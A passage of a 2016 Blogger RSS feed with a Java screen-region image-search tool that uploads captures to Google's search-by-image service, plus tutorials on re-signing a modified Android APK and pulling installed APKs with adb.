&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0yr7FWI7L2gLcHYEIOPvBcg5kuBZOglyjx2BEyt6FfGxnU18PvkJl7R9A-chsLn2fv4UVTeF28kCF5iopYw012yxgOGLafRl-uCPb-dIejV4zC28CfYDSk-NRARL-ToHTSLzz4B_MJ6zJ/s1600/To+be+Searched.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0yr7FWI7L2gLcHYEIOPvBcg5kuBZOglyjx2BEyt6FfGxnU18PvkJl7R9A-chsLn2fv4UVTeF28kCF5iopYw012yxgOGLafRl-uCPb-dIejV4zC28CfYDSk-NRARL-ToHTSLzz4B_MJ6zJ/s320/To+be+Searched.PNG&quot; width=&quot;154&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGb9HHWXUAnrRe1M28zjqII-yDTLx5Y9MfWY6YOW5gcxO8upFmzDd0pTTjC7rzUHUNOYvQFrCi5NrfmH5FNYoR6TOb8qtwr67jxSF3azQzIuuhvo9xykdZIGHlCeukqVd6iTegIw8rR5zp/s1600/Search+Result.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;132&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGb9HHWXUAnrRe1M28zjqII-yDTLx5Y9MfWY6YOW5gcxO8upFmzDd0pTTjC7rzUHUNOYvQFrCi5NrfmH5FNYoR6TOb8qtwr67jxSF3azQzIuuhvo9xykdZIGHlCeukqVd6iTegIw8rR5zp/s320/Search+Result.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;ImageResolver.java&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.awt.Dimension;  
 import java.awt.FlowLayout;  
 import java.awt.Graphics;  
 import java.awt.GridLayout;  
 import java.awt.Rectangle;  
 import java.awt.Robot;  
 import java.awt.Toolkit;  
 import java.awt.event.MouseEvent;  
 import java.awt.event.MouseListener;  
 import java.awt.event.MouseMotionListener;  
 import java.awt.image.BufferedImage;  
 import java.io.File;  
 import java.io.FileInputStream;  
 import javax.imageio.ImageIO;  
 import javax.swing.JFrame;  
 import javax.swing.JLabel;  
 import javax.swing.JOptionPane;  
 import org.apache.http.Header;  
 import org.apache.http.HttpResponse;  
 import org.apache.http.client.HttpClient;  
 import org.apache.http.client.methods.HttpPost;  
 import org.apache.http.entity.mime.MultipartEntity;  
 import org.apache.http.entity.mime.content.InputStreamBody;  
 import org.apache.http.impl.client.DefaultHttpClient;  
 public class ImageResolver  
  extends JFrame  
  implements MouseListener, MouseMotionListener, Runnable  
 {  
  int drag_status = 0;  
  int c1;  
  int c2;  
  int c3;  
  int c4;  
  static boolean lock = false;  
  static  
  {  
   System.loadLibrary(&quot;ImageResolver&quot;);  
  }  
  private native int getKeys();  
  public void showFrame()  
   throws Exception  
  {  
   lock = true;  
   Dimension size = Toolkit.getDefaultToolkit().getScreenSize();  
   Robot robot = new Robot();  
   BufferedImage img = robot.createScreenCapture(new Rectangle(size));  
   ImagePanel panel = new ImagePanel(img);  
   add(panel);  
   setLocation(0, 0);  
   setSize(size);  
   setLayout(new FlowLayout());  
   setUndecorated(true);  
   setVisible(true);  
   addMouseListener(this);  
   addMouseMotionListener(this);  
   setDefaultCloseOperation(2);  
  }  
  public void upload(File file)  
   throws Exception  
  {  
   final JFrame temp = new JFrame(&quot;Searching...&quot;);  
   Thread t2 = new Thread()  
   {  
    public void run()  
    {  
     temp.setSize(250, 0);  
     temp.setLayout(new FlowLayout());  
     temp.setVisible(true);  
     temp.setDefaultCloseOperation(2);  
    }  
   };  
   t2.start();  
   MultipartEntity entity = new MultipartEntity();  
   entity.addPart(&quot;encoded_image&quot;, new InputStreamBody(new FileInputStream(file), file.getName()));  
   HttpPost post = new HttpPost(&quot;https://www.google.com/searchbyimage/upload&quot;);  
   post.setEntity(entity);  
   HttpClient client = new DefaultHttpClient();  
   HttpResponse response = client.execute(post);  
   String site = response.getFirstHeader(&quot;location&quot;).getValue();  
   Runtime.getRuntime().exec(&quot;cmd /c start &quot; + site);  
   temp.dispose();  
   lock = false;  
  }  
  public void draggedScreen()  
   throws Exception  
  {  
   int w = this.c1 - this.c3;  
   int h = this.c2 - this.c4;  
   w *= -1;  
   h *= -1;  
   Robot robot = new Robot();  
   BufferedImage img = robot.createScreenCapture(new Rectangle(this.c1, this.c2, w, h));  
   File save_path = new File(&quot;screen1.jpg&quot;);  
   ImageIO.write(img, &quot;JPG&quot;, save_path);  
   dispose();  
   upload(save_path);  
  }  
  public synchronized void run()  
  {  
   for (;;)  
   {  
    int value = getKeys();  
    if ((value == 119) &amp;amp;&amp;amp; (lock))  
    {  
     JOptionPane.showConfirmDialog(  
      null, &quot;You can only run one query at a time.Let the previous search complete then you may continue with the new search&quot;, &quot;Error&quot;,   
      -1);  
    }  
    else if ((value == 119) &amp;amp;&amp;amp; (!lock))  
    {  
     try  
     {  
      Thread t2 = new Thread()  
      {  
       public void run()  
       {  
        try  
        {  
         new ImageResolver().showFrame();  
        }  
        catch (Exception e)  
        {  
         ImageResolver.lock = false;  
         JOptionPane.showConfirmDialog(  
          null, &quot;Some Problem Occured.Please try again&quot;, &quot;Error&quot;,   
          -1);  
        }  
       }  
      };  
      t2.start();  
     }  
     catch (Exception e)  
     {  
      lock = false;  
      JOptionPane.showConfirmDialog(  
          null, &quot;Some Problem Occured.Please try again&quot;, &quot;Error&quot;,   
          -1);  
     }  
    }  
    else if (value == 120)  
    {  
     JOptionPane.showConfirmDialog(  
      null, &quot;Exiting...&quot;, &quot;Exit&quot;,   
      -1);  
     System.exit(0);  
    }  
   }  
  }  
  public static void main(String[] args)  
  {  
   try  
   {  
    JFrame f1 = new JFrame(&quot;ImageResolver Help (Exit the App using F9)&quot;);  
    JLabel l1 = new JLabel(&quot;Please read this before continuing to the program&quot;);  
    JLabel l2 = new JLabel(&quot;Begin Image Search&quot;);  
    JLabel l3 = new JLabel(&quot;To begin Image Search,Open the image and then press F8 key&quot;);  
    JLabel l4 = new JLabel(&quot;A window will open.Just drag the area of the image which you want to search&quot;);  
    JLabel l5 = new JLabel(&quot;After a small delay the search results will be displayed&quot;);  
    JLabel l6 = new JLabel(&quot;------------------------------------------------------------------&quot;);  
    JLabel l7 = new JLabel(&quot;Exit the program&quot;);  
    JLabel l8 = new JLabel(&quot;For exiting the program Press F9.A confirmation message will be displayed and after that application will close.&quot;);  
    JLabel l9 = new JLabel(&quot;------------------------------------------------------------------&quot;);  
    JLabel l10 = new JLabel(&quot;Note: Multiple Searches are not allowed. Please close this window before staring to use the software.&quot;);  
    JLabel blank = new JLabel(&quot;&quot;);  
    JLabel startinfo7 = new JLabel(&quot;Software has been Developed by....&quot;);  
    JLabel startinfo8 = new JLabel(&quot;Anurag Jain&quot;);  
    JLabel startinfo9 = new JLabel(&quot;Software Engineer&quot;);  
    JLabel startinfo10 = new JLabel(&quot;(cs.anurag.jain@gmail.com)&quot;);  
    JLabel startinfo11 = new JLabel(&quot;Project Homepage: https://cooltrickshome.blogspot.in&quot;);  
    JLabel startinfo12 = new JLabel(&quot;For any problems or feedback you may contact me directly at cs.anurag.jain@gmail.com&quot;);  
    f1.add(l1);  
    f1.add(l2);  
    f1.add(l3);  
    f1.add(l4);  
    f1.add(l5);  
    f1.add(l6);  
    f1.add(l7);  
    f1.add(l8);  
    f1.add(l9);  
    f1.add(l10);  
    f1.add(blank);  
    f1.add(blank);  
    f1.add(blank);  
    f1.add(startinfo7);  
    f1.add(startinfo8);  
    f1.add(startinfo9);  
    f1.add(startinfo10);  
    f1.add(startinfo11);  
    f1.add(startinfo12);  
    f1.setLayout(new GridLayout(19, 1));  
    f1.setVisible(true);  
    f1.setSize(700, 700);  
    f1.setDefaultCloseOperation(2);  
    Thread t1 = new Thread(new ImageResolver());  
    t1.start();  
   }  
   catch (Exception e)  
   {  
    JOptionPane.showConfirmDialog(  
     null, &quot;Some Problem Occured.Please try again&quot;, &quot;Error&quot;,   
     -1);  
   }  
  }  
  public void mouseClicked(MouseEvent arg0) {}  
  public void mouseEntered(MouseEvent arg0) {}  
  public void mouseExited(MouseEvent arg0) {}  
  public void mousePressed(MouseEvent arg0)  
  {  
   repaint();  
   this.c1 = arg0.getX();  
   this.c2 = arg0.getY();  
  }  
  public void mouseReleased(MouseEvent arg0)  
  {  
   repaint();  
   if (this.drag_status == 1)  
   {  
    this.c3 = arg0.getX();  
    this.c4 = arg0.getY();  
    try  
    {  
     draggedScreen();  
    }  
    catch (Exception e)  
    {  
     e.printStackTrace();  
    }  
   }  
  }  
  public void mouseDragged(MouseEvent arg0)  
  {  
   repaint();  
   this.drag_status = 1;  
   this.c3 = arg0.getX();  
   this.c4 = arg0.getY();  
  }  
  public void mouseMoved(MouseEvent arg0) {}  
  public void paint(Graphics g)  
  {  
   super.paint(g);  
   int w = this.c1 - this.c3;  
   int h = this.c2 - this.c4;  
   w *= -1;  
   h *= -1;  
   if (w &amp;lt; 0) {  
    w *= -1;  
   }  
   g.drawRect(this.c1, this.c2, w, h);  
  }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;ImagePanel.java&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.awt.Dimension;  
 import java.awt.Graphics;  
 import java.awt.Image;  
 import javax.swing.ImageIcon;  
 import javax.swing.JPanel;  
 class ImagePanel  
  extends JPanel  
 {  
  private Image img;  
  public ImagePanel(String img)  
  {  
   this(new ImageIcon(img).getImage());  
  }  
  public ImagePanel(Image img)  
  {  
   this.img = img;  
   Dimension size = new Dimension(img.getWidth(null), img.getHeight(null));  
   setPreferredSize(size);  
   setMinimumSize(size);  
   setMaximumSize(size);  
   setSize(size);  
   setLayout(null);  
  }  
  public void paintComponent(Graphics g)  
  {  
   g.drawImage(this.img, 0, 0, null);  
  }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;ImageResolver.dll&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/blob/master/ImageResolver/Software/ImageResolver.dll?raw=true&quot;&gt;https://github.com/csanuragjain/extra/blob/master/ImageResolver/Software/ImageResolver.dll?raw=true&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
Hope it helps :)&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2016/12/search-inside-your-images-using-java.html</link><author>noreply@blogger.com (csanuragjain)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYhKiKNlwiPF5eZem7_k4ZsVfslmL4yVl0Aec8tFIFLVILB-x42VEkZdR_w_nvNt65As4SLQE88v6QN1n7Hp79Y7cLcp6fpfX0p7YnoF3RN6YJQBAxibmF09Q7cDG88EYmRvo64kj6MMN3/s72-c/Note.PNG" height="72" width="72"/><thr:total>2</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-874392182134304773</guid><pubDate>Wed, 30 Nov 2016 05:50:00 +0000</pubDate><atom:updated>2016-11-29T21:53:15.123-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">android</category><category domain="http://www.blogger.com/atom/ns#">apk</category><category domain="http://www.blogger.com/atom/ns#">crack</category><category domain="http://www.blogger.com/atom/ns#">decompile</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">recompile</category><category domain="http://www.blogger.com/atom/ns#">sign</category><title>Signing your modified android apk</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
While installing modified apk,I saw an error stating &lt;b&gt;&lt;i&gt;INSTALL_PARSE_FAILED_NO_CERTIFICATES&lt;/i&gt;&lt;/b&gt;.&lt;br /&gt;
After some research I found the solution for same.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Pre-install:&lt;/b&gt;&lt;br /&gt;
1) Install Android studio at &lt;a href=&quot;https://developer.android.com/studio/index.html&quot;&gt;https://developer.android.com/studio/index.html&lt;/a&gt; While Installation, it will ask path for android sdk, configure that path as per your need.&lt;br /&gt;
2) In my case it was like C:\Users\anurag\AppData\Local\Android\sdk1.&lt;br /&gt;
3) We are mainly interested in adb.exe which is present inside platform-tools, so for me the desired adb.exe path was &lt;b&gt;&lt;i&gt;C:\Users\anjain\AppData\Local\Android\sdk1\platform-tools\adb.exe&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
4) Add adb.exe in your system environment variables so that you can access adb from command prompt directly.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Problem:&lt;/b&gt;&lt;br /&gt;
1) Suppose you modified an apk named myapk.apk&lt;br /&gt;
2) You try to install the apk using&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; adb install myapk.apk  
&lt;/code&gt;&lt;/pre&gt;
3) This returns an error Failure &lt;b&gt;&lt;i&gt;[INSTALL_PARSE_FAILED_NO_CERTIFICATES]&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
4) This happens because your apk need to be signed again after you modified your apk.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;How to sign your jar:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
1) Copy the &lt;b&gt;&lt;i&gt;debug.keystore&lt;/i&gt;&lt;/b&gt; from &lt;b&gt;&lt;i&gt;C:\Users\&amp;lt;YOUR_USERNAME&amp;gt;\.android&lt;/i&gt;&lt;/b&gt; and place it in the same directory where your modified apk is present.&lt;br /&gt;
2) Change extension of your apk file to zip and open it using software like winzip and winrar. (For example your apk was myapk.apk then rename to myapk.zip)&lt;br /&gt;
3) Move to META-INF directory inside the myapk.zip.&lt;br /&gt;
4) Delete the 2 files with extension SF and RSA. For my case it was CERT.SF &amp;amp; CERT.RSA. For same reason I used CERT in step 7 &amp;amp; 8&lt;br /&gt;
5) Close winzip and rename the extension again to apk (For example your apk was myapk.zip then rename to myapk.apk)&lt;br /&gt;
6) Open command prompt and point to the directory where your modified apk is present&lt;br /&gt;
7) Enter below command: (Password: android)&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; keytool -genkey -v -keystore debug.keystore -alias CERT -keyalg RSA -keysize 2048 -validity 20000  
&lt;/code&gt;&lt;/pre&gt;
8) Enter below command:&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore debug.keystore &amp;lt;Your apk filename with extension&amp;gt; CERT  
&lt;/code&gt;&lt;/pre&gt;
9) Verify if jar was signed properly by hitting below command:&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; jarsigner -verify &amp;lt;Your apk filename with extension&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
10) If you dont see any error then everything is fine and you can now simply use below command to install in your smartphone&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; adb install &amp;lt;Your apk filename with extension&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
Reference:&lt;br /&gt;
&lt;a href=&quot;https://www.kingoapp.com/root-tutorials/how-to-enable-usb-debugging-mode-on-android.htm&quot;&gt;https://www.kingoapp.com/root-tutorials/how-to-enable-usb-debugging-mode-on-android.htm&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://developer.android.com/studio/index.html&quot;&gt;https://developer.android.com/studio/index.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://dzone.com/articles/android-solution-install-parse-1&quot;&gt;https://dzone.com/articles/android-solution-install-parse-1&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Hope it helps :)&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2016/11/signing-your-modified-apk.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>1</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-7756285572576549292</guid><pubDate>Tue, 29 Nov 2016 14:40:00 +0000</pubDate><atom:updated>2016-11-29T06:51:02.809-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">android</category><category domain="http://www.blogger.com/atom/ns#">apk</category><category domain="http://www.blogger.com/atom/ns#">extract</category><category domain="http://www.blogger.com/atom/ns#">google</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">playstore</category><title>Extract APK directly from Google Play Store without using any third party service</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Earlier, I was using a third party service to get apk for my favorite apps. But I wanted to know how are they actually extracting those apk from Google play.&lt;br /&gt;
After some research, I found this way which can help you get apk from official Google Playstore in 5 minutes once you have proper setup.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Pre-install:&lt;/b&gt;&lt;br /&gt;
1) Install Android studio at &lt;a href=&quot;https://developer.android.com/studio/index.html&quot;&gt;https://developer.android.com/studio/index.html&lt;/a&gt; While Installation, it will ask path for android sdk, configure that path as per your need.&lt;br /&gt;
2) In my case it was like C:\Users\anurag\AppData\Local\Android\sdk1.&lt;br /&gt;
3) We are mainly interested in adb.exe which is present inside platform-tools folder of android sdk, so for me the desired adb.exe path was &lt;b&gt;&lt;i&gt;C:\Users\anurag\AppData\Local\Android\sdk1\platform-tools\adb.exe&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
4) Add adb.exe in your system environment variables so that you can access adb from command prompt directly.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Pre-requisite:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;Get your package name:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) Suppose you are installing &quot;Clash of Clans&quot; from Google Play, your url looks like &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.supercell.clashofclans&amp;amp;hl=en&quot;&gt;https://play.google.com/store/apps/details?id=com.supercell.clashofclans&amp;amp;hl=en&lt;/a&gt;&lt;br /&gt;
2) Here the param value of id is com.supercell.clashofclans, which is also the package name.&lt;br /&gt;
3) Hence package name of this url is com.supercell.clashofclans&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;How to do:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
1) Install the apk from google playstore on your smart phone or tablet&lt;br /&gt;
2) Make sure you have enabled the USB debugging on your android device. (How to do -&amp;gt; &lt;a href=&quot;https://www.kingoapp.com/root-tutorials/how-to-enable-usb-debugging-mode-on-android.htm&quot;&gt;https://www.kingoapp.com/root-tutorials/how-to-enable-usb-debugging-mode-on-android.htm&lt;/a&gt;)&lt;br /&gt;
3) Now we use the adb.exe which comes along with the Android studio as explained in Pre-Install step&lt;br /&gt;
4) Connect your smart phone to your laptop using a usb cable&lt;br /&gt;
5) Now you need to extract the package name which is explained in Pre-requisite section. Assume package name is My_Package&lt;br /&gt;
6) Open command prompt&lt;br /&gt;
7) Type below and hit enter&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; adb pull /data/app/MY_Package.apk  
&lt;/code&gt;&lt;/pre&gt;
8) APK is extracted on your PC to the directory pointed in cmd.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Complexity:&lt;/b&gt;&lt;br /&gt;
Once you have the installed sdk tools and enabled usb debugging, it becomes 5 min job to extract any apk.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Reference:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.kingoapp.com/root-tutorials/how-to-enable-usb-debugging-mode-on-android.htm&quot;&gt;https://www.kingoapp.com/root-tutorials/how-to-enable-usb-debugging-mode-on-android.htm&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://developer.android.com/studio/index.html&quot;&gt;https://developer.android.com/studio/index.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2016/11/get-apk-directly-from-google-play-store.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>4</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item></channel></rss>